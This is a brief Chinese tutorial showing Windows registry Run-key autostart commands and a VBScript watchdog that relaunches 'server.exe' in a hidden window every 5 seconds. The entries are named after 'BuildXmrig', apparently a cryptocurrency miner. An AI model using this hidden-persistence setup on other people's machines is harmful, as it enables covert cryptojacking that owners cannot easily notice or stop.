程序自启动与进程守护实现


程序自启动与进程守护实现

一、注册表添加开机自启命令

我们可以通过添加注册表项让程序在用户登录时自动启动:

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v BuildXmrig /t REG_SZ /d "\"C:\Program Files\server.exe\"" /f
            

📌 说明:此命令会在用户登录时自动启动 server.exe,并且在任务管理器中显示名称为 BuildXmrig

二、实现进程挂掉后自动重启

为了让程序在崩溃后自动重启,我们需要编写一个“守护进程”(Watchdog)。以下是实现代码:

watchdog.vbs 脚本

Dim processName, exePath, shell, wmi, processes, running

processName = "server.exe"
exePath = "C:\Program Files\server.exe"

Set shell = CreateObject("WScript.Shell")
Set wmi = GetObject("winmgmts:\\.\root\cimv2")

Do
    running = False
    On Error Resume Next
    Set processes = wmi.ExecQuery("Select * from Win32_Process where Name='" & processName & "'")
    If Not processes Is Nothing Then
        For Each p In processes
            running = True
            Exit For
        Next
    End If
    On Error GoTo 0

    If Not running Then
        shell.Run """" & exePath & """", 0, False  ' 隐藏窗口启动
    End If

    WScript.Sleep 5000  ' 每 5 秒检测一次
Loop
            

此脚本会每 5 秒检测一次 server.exe 是否正在运行,如果没有运行,则自动重启。

三、设置 watchdog.vbs 自启动

同样,我们可以通过注册表使 watchdog.vbs 在开机时自动启动:

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WatchdogBuildXmrig /t REG_SZ /d "wscript \"C:\Program Files\watchdog.vbs\"" /f